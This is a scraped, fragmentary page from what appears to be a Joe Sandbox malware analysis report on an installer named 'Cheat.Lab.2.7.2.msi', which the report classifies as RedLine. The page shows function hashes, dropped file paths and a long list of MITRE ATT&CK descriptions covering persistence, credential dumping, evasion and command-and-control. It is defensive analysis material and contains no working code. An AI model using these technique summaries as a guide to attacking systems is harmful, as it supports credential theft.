Instruction Fuzzy Hash: 93F01232A08A8082D720AB04F44071ABBB0F7E4788F200125EACD43BA8DF7CC5658F40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FE02ADA0 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 00007FF6FE02ADC0

Memory Dump Source

Source File: 00000012.00000002.1550983440.00007FF6FDFD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6FDFD0000, based on PE: true

Associated: 00000012.00000002.1550972781.00007FF6FDFD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551048554.00007FF6FE0C1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551066912.00007FF6FE0DF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551077867.00007FF6FE0E0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551088454.00007FF6FE0E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000012.00000002.1551099491.00007FF6FE0E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff6fdfd0000_NzEz.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b006abb5ba116a2f71ee889648bd5e80897fb5eb5064d67c4a973468b98a7769
Instruction ID: 107b4765735c1fb0a37367f30970987b9192e4c66a3a473580d2840daaf14f00
Opcode Fuzzy Hash: b006abb5ba116a2f71ee889648bd5e80897fb5eb5064d67c4a973468b98a7769
Instruction Fuzzy Hash: 91D0C931A18F8081D744DB16F88510ABBA5FBD5780F608425EAC942A28DF3CC1B98F40

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cheat.Lab.2.7.2.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\66bc0d.rbs

C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe

C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat

C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua

C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe

C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\MSIAB91.tmp

C:\Users\user\AppData\Local\Temp\MSIAC3E.tmp

C:\Users\user\AppData\Local\Temp\MSIAC5E.tmp

C:\Users\user\AppData\Local\Temp\MSIAC8E.tmp

C:\Users\user\AppData\Local\Temp\MSIACBE.tmp

Windows Analysis Report
Cheat.Lab.2.7.2.msi

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre